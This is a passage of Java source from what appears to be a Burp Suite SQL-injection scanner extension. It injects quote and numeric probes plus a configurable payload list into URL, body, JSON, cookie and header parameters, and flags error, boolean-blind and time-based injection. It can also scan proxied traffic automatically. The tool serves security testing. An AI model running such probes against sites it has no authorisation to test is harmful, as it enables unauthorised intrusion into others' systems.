originalReqResponse.getHeaders(); String contentLength = HelperPlus.getHeaderValueOf(sqlHeaders, "Content-Length"); if (contentLength != null) { originalLength = Integer.parseInt(contentLength); } else { originalLength = Integer.parseInt(String.valueOf(responseBody.length)); } } // 如果原始包没有返回数据或者响应状态为404 直接return if (originalLength == 0 || originalReqResponse.getStatusCode() == 404) { return; } // 尝试添加一个url到url表格 int logid = addUrl(method, url, originalLength, baseRequestResponse); try { // 检测常规注入 for (IParameter para : paraLists) { // 如果参数符合下面的类型,则进行检测 if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY || para.getType() == PARAM_COOKIE || para.getType() == PARAM_JSON) { String paraName = para.getName(); String paraValue = para.getValue(); // 检测常规参数的注入 if (para.getType() == PARAM_URL || para.getType() == PARAM_BODY) { if (paraName.isEmpty()) { break; } // 先判断是否为数字型参数 if (isIntegerParameter(paraValue)) { checkNumberBasedBlind(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse); checkQuoteBasedBlind(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse); } else { checkQuoteBasedBlind(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse); } // 正常的检测流程 // 使用payload进行检测 for (SqlBean sql : sqliPayload) { String payload = Utils.ReplaceChar(sql.getValue()); // 如果sqlPayload是上面的 可以直接跳过 if (payload.equals("'") || payload.equals("''") || payload.equals("'''") || payload.isEmpty()) { continue; } checkPayload(logid, para, paraName, paraValue, url, originalLength, baseRequestResponse, payload); } } // 检测json类型的注入 if (para.getType() == PARAM_JSON) { // 获取JSON请求体 String request_data = Utils.helpers.bytesToString(baseRequestResponse.getRequest()).split("\r\n\r\n")[1]; if (request_data.isEmpty()) { break; } // 获取原始响应数据 byte[] jsonBody = Utils.helpers.buildHttpMessage(reqheaders, request_data.getBytes()); IHttpRequestResponse jsonRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), jsonBody); String originalResponse = getResponseBody(jsonRequestResponse); int jsonResponseLength = originalResponse.length(); // 对每个JSON参数进行测试 List processResults = JsonProcessorUtil.processWithPath(request_data, "", isDeleteOrgin); for (JsonProcessorUtil.ProcessResult pathResult : processResults) { String jsonParam = pathResult.getParamPath(); // JSON参数路径 // 测试单引号响应 long singleQuoteStartTime = System.currentTimeMillis(); List singleQuoteResults = JsonProcessorUtil.processWithPath(request_data, "'", isDeleteOrgin); JsonProcessorUtil.ProcessResult singleQuoteResult = findResultByPath(singleQuoteResults, jsonParam); byte[] singleQuoteBytes = Utils.helpers.buildHttpMessage(reqheaders, singleQuoteResult.getModifiedJson().getBytes()); IHttpRequestResponse singleQuoteResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), singleQuoteBytes); long singleQuoteResponseTime = System.currentTimeMillis() - singleQuoteStartTime; String singleQuoteBody = getResponseBody(singleQuoteResponse); // 测试双引号响应 long doubleQuoteStartTime = System.currentTimeMillis(); List doubleQuoteResults = JsonProcessorUtil.processWithPath(request_data, "''", isDeleteOrgin); JsonProcessorUtil.ProcessResult doubleQuoteResult = findResultByPath(doubleQuoteResults, jsonParam); byte[] doubleQuoteBytes = Utils.helpers.buildHttpMessage(reqheaders, doubleQuoteResult.getModifiedJson().getBytes()); IHttpRequestResponse doubleQuoteResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), doubleQuoteBytes); long doubleQuoteResponseTime = System.currentTimeMillis() - doubleQuoteStartTime; String doubleQuoteBody = getResponseBody(doubleQuoteResponse); // 检查是否存在盲注 boolean isVulnerable = checkBlindInjection( originalResponse, singleQuoteBody, doubleQuoteBody, jsonResponseLength, singleQuoteBody.length(), doubleQuoteBody.length() ); // 如果存在盲注,添加到漏洞字符串 if (isVulnerable) { addToVulStr(logid, jsonParam + " 可能存在盲注"); try { IScanIssue issues = new CustomScanIssue( jsonRequestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{jsonRequestResponse, singleQuoteResponse, doubleQuoteResponse}, "SqlInject Blind", String.format("在JSON参数 %s 中发现SQL盲注\n原始长度: %d\n单引号长度: %d\n双引号长度: %d", jsonParam, jsonResponseLength, singleQuoteBody.length(), doubleQuoteBody.length()), "High", "Certain" ); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckJsonBlind" + e); } } // 为单引号payload添加记录 String singleQuoteErrKey = "x"; // 检查报错 if (errSqlCheck(singleQuoteBody)) { singleQuoteErrKey = "存在报错"; addToVulStr(logid, jsonParam + " 存在报错"); try { IScanIssue issues = new CustomScanIssue( singleQuoteResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{singleQuoteResponse}, "SqlInject Error", "在JSON参数 " + jsonParam + " 发现SQL报错注入", "High", "Certain" ); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckJsonError" + e); } } // 为双单引号payload添加记录 String doubleQuoteErrKey = "x"; // 检查报错 if (errSqlCheck(doubleQuoteBody)) { doubleQuoteErrKey = "存在报错"; addToVulStr(logid, jsonParam + " 存在报错"); try { IScanIssue issues = new CustomScanIssue( doubleQuoteResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{doubleQuoteResponse}, "SqlInject Error", "在JSON参数 " + jsonParam + " 发现SQL报错注入", "High", "Certain" ); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckJsonError" + e); } } // 记录单引号payload结果 addPayload( logid, jsonParam, "'", singleQuoteBody.length(), String.valueOf(Math.abs(singleQuoteBody.length() - jsonResponseLength)), singleQuoteErrKey, String.valueOf(singleQuoteResponseTime), String.valueOf(Utils.helpers.analyzeResponse(singleQuoteResponse.getResponse()).getStatusCode()), singleQuoteResponse ); // 记录双引号payload结果 addPayload( logid, jsonParam, "''", doubleQuoteBody.length(), String.valueOf(Math.abs(doubleQuoteBody.length() - jsonResponseLength)), doubleQuoteErrKey, String.valueOf(doubleQuoteResponseTime), String.valueOf(Utils.helpers.analyzeResponse(doubleQuoteResponse.getResponse()).getStatusCode()), doubleQuoteResponse ); for (SqlBean sql : sqliPayload) { String payload = Utils.ReplaceChar(sql.getValue()); // 跳过已测试过的引号payload if (payload.equals("'") || payload.equals("''") || payload.equals("'''") || payload.isEmpty()) { continue; } // 测试当前payload long startTime = System.currentTimeMillis(); List payloadResults = JsonProcessorUtil.processWithPath(request_data, payload, isDeleteOrgin); JsonProcessorUtil.ProcessResult payloadResult = findResultByPath(payloadResults, jsonParam); if (payloadResult == null) continue; byte[] payloadBytes = Utils.helpers.buildHttpMessage(reqheaders, payloadResult.getModifiedJson().getBytes()); IHttpRequestResponse payloadResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), payloadBytes); long responseTime = System.currentTimeMillis() - startTime; String payloadBody = getResponseBody(payloadResponse); String errkey = "x"; // 检查报错注入 if (errSqlCheck(payloadBody)) { errkey = "存在报错"; addToVulStr(logid, jsonParam + " 存在报错"); try { IScanIssue issues = new CustomScanIssue(payloadResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{payloadResponse}, "SqlInject Error", "在JSON参数 " + jsonParam + " 发现SQL报错注入", "High", "Certain"); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckJsonError" + e); } } // 检查延时注入 if (responseTime > 6000) { errkey = "存在延时"; addToVulStr(logid, jsonParam + " 存在延时注入"); try { IScanIssue issues = new CustomScanIssue(payloadResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{payloadResponse}, "SqlInject Time", "在JSON参数 " + jsonParam + " 发现延时注入", "High", "Certain"); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckJsonTime" + e); } } // 记录payload测试结果 addPayload( logid, jsonParam, payload, payloadBody.length(), String.valueOf(Math.abs(payloadBody.length() - jsonResponseLength)), errkey, String.valueOf(responseTime), String.valueOf(Utils.helpers.analyzeResponse(payloadResponse.getResponse()).getStatusCode()), payloadResponse ); } } break; } // 检测cookie注入 if (isCheckCookie && para.getType() == PARAM_COOKIE) { if (paraName.isEmpty()) { break; } for (SqlBean sql : sqliPayload) { String errkey = "x"; String payload = ""; String sqlPayload = Utils.ReplaceChar(sql.getValue()); if (sqlPayload.isEmpty()) { continue; } // 是否删除原始的参数值 if (isDeleteOrgin) { payload = sqlPayload; } else { payload = paraValue + sqlPayload; } long startTime = System.currentTimeMillis(); IParameter iParameters = Utils.helpers.buildParameter(paraName, payload, para.getType()); byte[] bytes = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameters); IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); long endTime = System.currentTimeMillis(); IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); int statusCode = analyzeResponse.getStatusCode(); String responseTime = String.valueOf(endTime - startTime); byte[] sqlresponseBody = newRequestResponse.getResponse(); int sqlLength = 0; if (sqlresponseBody != null) { // 判断有无Content-Length字段 List sqlHeaders = analyzeResponse.getHeaders(); String contentLength = HelperPlus.getHeaderValueOf(sqlHeaders, "Content-Length"); if (contentLength != null) { sqlLength = Integer.parseInt(contentLength); } else { sqlLength = sqlresponseBody.length; } // 判断body中是否有errorkey关键字 String sqlResponseBody = new String(sqlresponseBody); if (errSqlCheck(sqlResponseBody)) { errkey = "存在报错"; addToVulStr(logid, "参数" + paraName + "cookie存在报错"); try { IScanIssue issues = new CustomScanIssue(newRequestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponse}, "SqlInject Error", "SqlInject 发现报错", "High", "Certain"); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckCookie" + e); } } if (Integer.parseInt(responseTime) > 6000) { addToVulStr(logid, "参数" + paraName + "cookie存在延时"); errkey = "cookie存在延时"; try { IScanIssue issues = new CustomScanIssue(newRequestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponse}, "SqlInject Time", "SqlInject 发现延时注入", "High", "Certain"); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckCookie" + e); } } } addPayload(logid, paraName, payload, sqlLength, String.valueOf(Math.abs(sqlLength - originalLength)), errkey, responseTime, String.valueOf(statusCode), newRequestResponse); } } } } // 检测header注入 if (isCheckHeader && !headerList.isEmpty()) { // 新建一个用于存储新请求头的列表,并复制原始请求头到新列表中 List newReqheaders = new ArrayList<>(reqheaders); for (String reqheadersx : reqheaders) { for (SqlBean sqlBean : headerList) { String headerName = sqlBean.getValue(); if (reqheadersx.contains(headerName)) { // 删除原始请求头中包含的相同头部字段 newReqheaders.remove(reqheadersx); // 不检测cookie if (headerName.contains("Cookie")) { break; } // 分割 reqheadersx 获取 header 值 String[] headerParts = reqheadersx.split(":", 2); String originalHeaderValue = headerParts.length > 1 ? headerParts[1].trim() : ""; for (SqlBean sql : sqliPayload) { String errkey = "x"; String payload = ""; String sqlPayload = Utils.ReplaceChar(sql.getValue()); if (sqlPayload.isEmpty()) { continue; } if (isDeleteOrgin) { payload = sqlPayload; } else { payload = originalHeaderValue + sqlPayload; } // 添加新的头部字段到新的列表中 newReqheaders.add(headerName + ": " + payload); byte[] bytes = Utils.helpers.buildHttpMessage(newReqheaders, body); long startTime = System.currentTimeMillis(); IHttpRequestResponse newRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), bytes); IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(newRequestResponse.getResponse()); long endTime = System.currentTimeMillis(); String responseTime = String.valueOf(endTime - startTime); int statusCode = analyzeResponse.getStatusCode(); byte[] sqlresponseBody = newRequestResponse.getResponse(); int sqlLength = 0; if (sqlresponseBody != null) { // 判断有无Content-Length字段 List sqlHeaders = analyzeResponse.getHeaders(); String contentLength = HelperPlus.getHeaderValueOf(sqlHeaders, "Content-Length"); if (contentLength != null) { sqlLength = Integer.parseInt(contentLength); } else { sqlLength = sqlresponseBody.length; } // 判断body中是否有errorkey关键字 String sqlResponseBody = new String(sqlresponseBody); if (errSqlCheck(sqlResponseBody)) { errkey = "存在报错"; addToVulStr(logid, "header存在报错"); try { IScanIssue issues = new CustomScanIssue(newRequestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponse}, "SqlInject Error", "SqlInject 发现报错", "High", "Certain"); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckHeader" + e); } } if (Integer.parseInt(responseTime) > 6000) { addToVulStr(logid, "header存在延时"); try { IScanIssue issues = new CustomScanIssue(newRequestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponse}, "SqlInject Time", "SqlInject 发现延时注入", "High", "Certain"); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckHeader" + e); } } } addPayload(logid, headerName, sqlPayload, sqlLength, String.valueOf(Math.abs(sqlLength - originalLength)), errkey, responseTime, String.valueOf(statusCode), newRequestResponse); // 每次完成请求后,移除刚刚添加的新头部字段,以便下一次迭代 newReqheaders.remove(newReqheaders.size() - 1); } break; // 已经处理了当前的头部信息,可以退出内循环 } } } } } catch (Exception e) { // 检测过程中出现异常,记录错误信息 addToVulStr(logid, "检测异常: " + e.getMessage()); Utils.stderr.println("SQL注入检测异常: " + e.getMessage()); e.printStackTrace(); } finally { // 无论是否出现异常,都要更新最终状态 // 如果没有异常且正常完成,添加检测完成状态 if (!vul.containsKey(logid) || !vul.get(logid).toString().contains("检测异常")) { addToVulStr(logid, "检测完成"); } // 更新数据 updateUrl(logid, method, url, originalLength, vul.get(logid).toString(), originalRequestResponse); } } // 在json结果列表中查找指定路径的结果 private static JsonProcessorUtil.ProcessResult findResultByPath(List results, String path) { return results.stream() .filter(r -> r.getParamPath().equals(path)) .findFirst() .orElse(null); } // 检测数字型盲注 private static void checkNumberBasedBlind(int logid, IParameter para, String paraName, String paraValue, String url, int originalLength, IHttpRequestResponse originalRequestResponse) { // 获取测试响应 IHttpRequestResponse checkedPayload1 = checkPayload(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse, "-1"); IHttpRequestResponse checkedPayload0 = checkPayload(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse, "-0"); // 获取响应体 String originalResponse = getResponseBody(originalRequestResponse); String payload1Response = getResponseBody(checkedPayload1); String payload0Response = getResponseBody(checkedPayload0); // 检查是否存在盲注 boolean isVulnerable = checkBlindInjection(originalResponse, payload1Response, payload0Response, originalLength, payload1Response.length(), payload0Response.length()); if (isVulnerable) { reportBlindInjection(logid, paraName, url, checkedPayload1, "Number"); } } // 检测引号型盲注 private static void checkQuoteBasedBlind(int logid, IParameter para, String paraName, String paraValue, String url, int originalLength, IHttpRequestResponse originalRequestResponse) { // 获取测试响应 IHttpRequestResponse checkedPayloadQuote = checkPayload(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse, "'"); IHttpRequestResponse checkedPayloadQuotes = checkPayload(logid, para, paraName, paraValue, url, originalLength, originalRequestResponse, "''"); // 获取响应体 String originalResponse = getResponseBody(originalRequestResponse); String quoteResponse = getResponseBody(checkedPayloadQuote); String quotesResponse = getResponseBody(checkedPayloadQuotes); // 检查是否存在盲注 boolean isVulnerable = checkBlindInjection(originalResponse, quoteResponse, quotesResponse, originalLength, quotesResponse.length(), quoteResponse.length()); if (isVulnerable) { reportBlindInjection(logid, paraName, url, checkedPayloadQuote, "Quote"); } } // 盲注响应长度及相似度对比 private static boolean checkBlindInjection(String originalResponse, String abnormalResponse, String normalResponse, int originalLength, int abnormalLength, int normalLength) { if (isBooleanBlind){ // 判断方式1: 基于响应长度变化(考虑动态内容) boolean lengthBasedCheck = checkResponseLength( originalResponse, abnormalResponse, normalResponse, originalLength, abnormalLength, normalLength ); // 判断方式2: 基于相似度比对 boolean similarityBasedCheck = checkResponseSimilarity( originalResponse, abnormalResponse, normalResponse ); return lengthBasedCheck || similarityBasedCheck; }else { return false; } } // 检查响应长度模式,考虑动态内容 private static boolean checkResponseLength(String originalResponse, String abnormalResponse, String normalResponse, int originalLength, int abnormalLength, int normalLength) { // 获取处理后的响应长度 int cleanOriginalLength = getCleanResponseLength(originalResponse); int cleanAbnormalLength = getCleanResponseLength(abnormalResponse); int cleanNormalLength = getCleanResponseLength(normalResponse); // 计算长度差异 int diffOriginalAbnormal = Math.abs(cleanOriginalLength - cleanAbnormalLength); int diffOriginalNormal = Math.abs(cleanOriginalLength - cleanNormalLength); int diffNormalAbnormal = Math.abs(cleanNormalLength - cleanAbnormalLength); // 定义长度差异阈值(可根据实际情况调整) int LENGTH_THRESHOLD = 10; // 判断长度模式 return diffOriginalNormal <= LENGTH_THRESHOLD && // 原始响应和正常响应长度相近 diffOriginalAbnormal > LENGTH_THRESHOLD && // 原始响应和异常响应长度差异明显 diffNormalAbnormal > LENGTH_THRESHOLD; // 正常响应和异常响应长度差异明显 } // 获取清理后的响应长度 private static int getCleanResponseLength(String response) { if (response == null || response.isEmpty()) { return 0; } String cleanResponse = response; // 1. 移除可能的动态令牌 cleanResponse = cleanResponse.replaceAll("[a-zA-Z0-9]{32,}", "TOKEN"); // 移除32位以上的随机字符串 cleanResponse = cleanResponse.replaceAll("token=([^&\\s\"']+)", "token=TOKEN"); // 移除token参数值 // 2. 移除时间戳相关内容 cleanResponse = cleanResponse.replaceAll("\\d{10,13}", "TIMESTAMP"); // Unix时间戳 cleanResponse = cleanResponse.replaceAll("\\d{4}-\\d{2}-\\d{2}[T\\s]\\d{2}:\\d{2}:\\d{2}", "DATETIME"); // 日期时间 // 3. 移除动态ID和数字 cleanResponse = cleanResponse.replaceAll("id=\"?\\d+\"?", "id=\"ID\""); // 4. 移除CSRF令牌 cleanResponse = cleanResponse.replaceAll("csrf[^=]+=([^&\\s\"']+)", "csrf=TOKEN"); // 5. 移除Session相关信息 cleanResponse = cleanResponse.replaceAll("JSESSIONID=([^;\\s\"']+)", "JSESSIONID=TOKEN"); cleanResponse = cleanResponse.replaceAll("session[^=]+=([^&\\s\"']+)", "session=TOKEN"); // 6. 移除随机生成的文件名或路径 cleanResponse = cleanResponse.replaceAll("/tmp/[^\\s\"']+", "/tmp/FILE"); cleanResponse = cleanResponse.replaceAll("filename=\"[^\"]+\"", "filename=\"FILE\""); // 7. 移除HTML注释中的动态内容 cleanResponse = cleanResponse.replaceAll("", ""); // 8. 移除版本号和随机字符串 cleanResponse = cleanResponse.replaceAll("v\\d+\\.\\d+\\.\\d+", "VERSION"); cleanResponse = cleanResponse.replaceAll("[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}", "UUID"); return cleanResponse.length(); } // 检查响应相似度模式 private static boolean checkResponseSimilarity(String originalResponse, String abnormalResponse, String normalResponse) { // 清理响应内容 String cleanOriginal = cleanResponseForComparison(originalResponse); String cleanAbnormal = cleanResponseForComparison(abnormalResponse); String cleanNormal = cleanResponseForComparison(normalResponse); // 相似度比对 boolean originalVsNormalSimilar = !ResponseSimilarityMatcher.compareTwoResponses( cleanOriginal, cleanNormal); // 相似 boolean originalVsAbnormalDifferent = ResponseSimilarityMatcher.compareTwoResponses( cleanOriginal, cleanAbnormal); // 不相似 boolean normalVsAbnormalDifferent = ResponseSimilarityMatcher.compareTwoResponses( cleanNormal, cleanAbnormal); // 不相似 return originalVsNormalSimilar && originalVsAbnormalDifferent && normalVsAbnormalDifferent; } // 清理响应内容用于相似度比对 private static String cleanResponseForComparison(String response) { if (response == null || response.isEmpty()) { return ""; } String cleanResponse = response; // 1. 移除HTML标签(保留内容) cleanResponse = cleanResponse.replaceAll("<[^>]+>", " "); // 2. 移除所有动态内容(与getCleanResponseLength相同的处理) cleanResponse = cleanResponse.replaceAll("[a-zA-Z0-9]{32,}", "TOKEN"); cleanResponse = cleanResponse.replaceAll("token=([^&\\s\"']+)", "token=TOKEN"); // ... [使用与getCleanResponseLength相同的清理规则] // 3. 标准化空白字符 cleanResponse = cleanResponse.replaceAll("\\s+", " ").trim(); // 4. 转换为小写以忽略大小写差异 cleanResponse = cleanResponse.toLowerCase(); return cleanResponse; } // 存在盲注漏洞 private static void reportBlindInjection(int logid, String paraName, String url, IHttpRequestResponse requestResponse, String type) { addToVulStr(logid, "参数" + paraName + "可能存在" + type + "盲注"); try { IScanIssue issues = new CustomScanIssue(requestResponse.getHttpService(), new URL(url), new IHttpRequestResponse[]{requestResponse}, "SQL Injection Blind", "发现" + type + "SQL盲注", "High", "Certain"); Utils.callbacks.addScanIssue(issues); } catch (MalformedURLException e) { throw new RuntimeException("CheckBlind: " + e); } } // 更新url数据到表格 public static void updateUrl(int index, String method, String url, int length, String message, IHttpRequestResponse requestResponse) { synchronized (urldata) { if (index >= 0 && index < urldata.size()) { urldata.set(index, new UrlEntry(index, method, url, length, message, requestResponse)); } urltable.updateUI(); payloadtable.updateUI(); } } // 检查参数是否为整数类型 private static boolean isIntegerParameter(String value) { // 空值检查 if (value == null || value.trim().isEmpty()) { return false; } // 检查是否为纯数字 if (!value.matches("^-?\\d+$")) { return false; } try { // 尝试转换为整数 Integer.parseInt(value); return true; } catch (NumberFormatException e) { return false; } } // 正则判断响应数据包中是否包含报错关键字 @href https://github.com/saoshao/DetSql/blob/master/src/main/java/DetSql/MyHttpHandler.java private static boolean errSqlCheck(String responseBody) { if (!listErrorKey.isEmpty()) { for (String errKey : listErrorKey) { if (responseBody.contains(errKey)) { return true; } } } String cleanedText = responseBody.replaceAll("\\n|\\r|\\r\\n", ""); for (String rule : rules) { Pattern pattern = Pattern.compile(rule, Pattern.CASE_INSENSITIVE); if (pattern.matcher(cleanedText).find()) { return true; } } return false; } // 获取响应包的响应体内容 private static String getResponseBody(IHttpRequestResponse requestResponse) { if (requestResponse == null || requestResponse.getResponse() == null) { return ""; } byte[] response = requestResponse.getResponse(); IResponseInfo responseInfo = Utils.helpers.analyzeResponse(response); int bodyOffset = responseInfo.getBodyOffset(); return new String(Arrays.copyOfRange(response, bodyOffset, response.length)); } // 添加url数据到表格 public static int addUrl(String method, String url, int length, IHttpRequestResponse requestResponse) { int id = urlIdCounter.getAndIncrement(); UrlEntry entry = new UrlEntry(id, method, url, length, "正在检测", requestResponse); urlPayloadMapping.put(id, Collections.synchronizedList(new ArrayList<>())); SwingUtilities.invokeLater(() -> { urldata.add(entry); urltable.updateUI(); }); return id; } // 添加漏洞数据到表格 public static void addToVulStr(int key, CharSequence value) { // 检查是否已经存在该键,如果不存在则创建一个新的 ArrayList 存储值 vul.computeIfAbsent(key, k -> new StringBuilder()).append(value).append(", "); } // 添加payload数据到表格 public static void addPayload(int selectId, String key, String value, int length, String change, String errkey, String time, String status, IHttpRequestResponse requestResponse) { PayloadEntry entry = new PayloadEntry(selectId, key, value, length, change, errkey, time, status, requestResponse); urlPayloadMapping.get(selectId).add(entry); SwingUtilities.invokeLater(() -> { payloaddata2.add(entry); payloadtable.updateUI(); }); } // payload检测方法 public static IHttpRequestResponse checkPayload(int logid, IParameter para, String paraName, String paraValue, String url, int originalLength, IHttpRequestResponse baseRequestResponse, String value) { String payload; String errkey = "x"; // URL编码处理 if (isUrlEncode) { value = Utils.UrlEncode(value); } // 构造payload payload = isDeleteOrgin ? value : paraValue + value; // 发送请求并记录时间 long startTime = System.currentTimeMillis(); // 构造新的参数 IParameter iParameters = Utils.helpers.buildParameter(paraName, payload, para.getType()); byte[] paramByte = Utils.helpers.updateParameter(baseRequestResponse.getRequest(), iParameters); // 发送请求 IHttpRequestResponse newRequestResponses = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), paramByte); long endTime = System.currentTimeMillis(); String responseTimes = String.valueOf(endTime - startTime); // 获取响应数据 byte[] responseBody = newRequestResponses.getResponse(); if (responseBody != null) { // 分析响应 IResponseInfo analyzeResponse = Utils.helpers.analyzeResponse(responseBody); int statusCode = analyzeResponse.getStatusCode(); // 获取响应长度 int length; List headers = analyzeResponse.getHeaders(); String contentLength = HelperPlus.getHeaderValueOf(headers, "Content-Length"); if (contentLength != null) { length = Integer.parseInt(contentLength); } else { length = responseBody.length; } // 检查SQL错误 String responseBodyStr = new String(responseBody); if (errSqlCheck(responseBodyStr)) { errkey = "存在报错"; addToVulStr(logid, "参数" + paraName + "存在报错"); try { IScanIssue errIssues = new CustomScanIssue(newRequestResponses.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponses}, "SqlInject Error", "SqlInject 发现报错", "High", "Certain"); Utils.callbacks.addScanIssue(errIssues); } catch (Exception e) { Utils.stderr.println("CustomScanIssue " + e); } } // 常规的检测不存在延时的 // if (Integer.parseInt(responseTimes) > 6000) { // errkey = "存在延时"; // addToVulStr(logid, "参数" + paraName + "存在延时"); // try { // IScanIssue timeIssues = new CustomScanIssue(newRequestResponses.getHttpService(), new URL(url), new IHttpRequestResponse[]{newRequestResponses}, "SqlInject Time", "SqlInject 发现延时注入", "High", "Certain"); // Utils.callbacks.addScanIssue(timeIssues); // } catch (MalformedURLException e) { // throw new RuntimeException("CheckRaw" + e); // } // } // 记录payload结果 addPayload(logid, paraName, payload, length, String.valueOf(length - originalLength), errkey, String.valueOf(endTime - startTime), String.valueOf(statusCode), newRequestResponses); } return newRequestResponses; } @Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) { if (isPassiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) { synchronized (urldata) { Thread thread = new Thread(new Runnable() { @Override public void run() { Check(new IHttpRequestResponse[]{iHttpRequestResponse}, false); } }); thread.start(); } } } @Override public IHttpService getHttpService() { return currentlyDisplayedItem.getHttpService(); } @Override public byte[] getRequest() { return currentlyDisplayedItem.getRequest(); } @Override public byte[] getResponse() { return currentlyDisplayedItem.getResponse(); } @Override public void init() { // 获取所有报错关键字 List sqlErrorKey = getSqlListsByType("sqlErrorKey"); for (SqlBean sqlBean : sqlErrorKey) { listErrorKey.add(sqlBean.getValue()); } // 获取所有payload sqliPayload = getSqlListsByType("payload"); List domain = getSqlListsByType("domain"); // 将domain转为List domainList = new ArrayList<>(); for (SqlBean sqlBean : domain) { domainList.add(sqlBean.getValue()); } // 获取数据库中的header headerList = getSqlListsByType("header"); setupUI(); setupData(); } private void setupData() { // 盲注检查 booleanBlindCheckBox.addActionListener(e -> isBooleanBlind = booleanBlindCheckBox.isSelected()); refreshTableButton.addActionListener(e -> { urltable.updateUI(); payloadtable.updateUI(); }); clearTableButton.addActionListener(e -> { urlPayloadMapping.clear(); urlIdCounter.set(0); urldata.clear(); payloaddata.clear(); payloaddata2.clear(); vul.clear(); UrlCacheUtil.resetCache("sqli"); // 清空URL缓存 HRequestTextEditor.setMessage(new byte[0], true); HResponseTextEditor.setMessage(new byte[0], false); urltable.updateUI(); payloadtable.updateUI(); }); // 保存sql payload saveSqlPayloadButton.addActionListener(e -> { String sqleditorPane1Text = sqlPayloadTextArea.getText(); deleteSqlByType("payload"); // 清空内存中的sqliPayload列表 sqliPayload.clear(); // 如果包含换行符,就分割成多个payload if (sqleditorPane1Text.contains("\n")) { String[] payloads = sqleditorPane1Text.split("\n"); for (String payload : payloads) { if (payload.isEmpty()) { continue; } SqlBean sqlBean = new SqlBean("payload", payload); saveSql(sqlBean); } } else { if (sqleditorPane1Text.isEmpty()) { return; } SqlBean sqlBean = new SqlBean("payload", sqleditorPane1Text); saveSql(sqlBean); } // 获取所有payload sqliPayload = getSqlListsByType("payload"); sqlPayloadTextArea.updateUI(); JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); }); // 保存header saveHeaderListButton.addActionListener(e -> { String headerTextAreaText = headerTextArea.getText(); deleteSqlByType("header"); // 如果包含换行符,就分割成多个header if (headerTextAreaText.contains("\n")) { String[] headers = headerTextAreaText.split("\n"); for (String header : headers) { if (header.isEmpty()) { continue; } SqlBean sqlBean = new SqlBean("header", header); saveSql(sqlBean); } } else { if (headerTextAreaText.isEmpty()) { return; } SqlBean sqlBean = new SqlBean("header", headerTextAreaText); saveSql(sqlBean); } // 获取数据库中的header headerList = getSqlListsByType("header"); headerTextArea.updateUI(); JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); }); // 保存白名单域名 saveWhiteListButton.addActionListener(e -> { String whiteListTextAreaText = whiteListTextArea.getText(); deleteSqlByType("domain"); // 如果包含换行符,就分割成多个domain if (whiteListTextAreaText.contains("\n")) { String[] whitedomains = whiteListTextAreaText.split("\n"); for (String whitedomain : whitedomains) { if (whitedomain.isEmpty()) { continue; } SqlBean sqlBean = new SqlBean("domain", whitedomain); saveSql(sqlBean); } } else { if (whiteListTextAreaText.isEmpty()) { return; } SqlBean sqlBean = new SqlBean("domain", whiteListTextAreaText); saveSql(sqlBean); } List domain = getSqlListsByType("domain"); // 将domain转为List for (SqlBean sqlBean : domain) { domainList.add(sqlBean.getValue()); } whiteListTextArea.updateUI(); JOptionPane.showMessageDialog(null, I18nUtils.get("config.message.save_success"), I18nUtils.get("config.title.info"), JOptionPane.INFORMATION_MESSAGE); }); saveSqlErrorKeyButton.addActionListener(new AbstractAction() { @Override public void actionPerformed(ActionEvent e) { deleteSqlByType("sqlErrorKey"); String sqlErrorKeyTextAreaText = sqlErrorKeyTextArea.getText(); // 如果包含换行符,就分割成多个errorkey if (sqlErrorKeyTextAreaText.contains("\n")) { String[] errkeys = sqlErrorKeyTextAreaText.split("\n"); for (String errkey : errkeys) { if (errkey.isEmpty()) { continue; } SqlBean sqlBean = new SqlBean("sqlErrorKey", errkey); saveSql(sqlBean); } } else { if 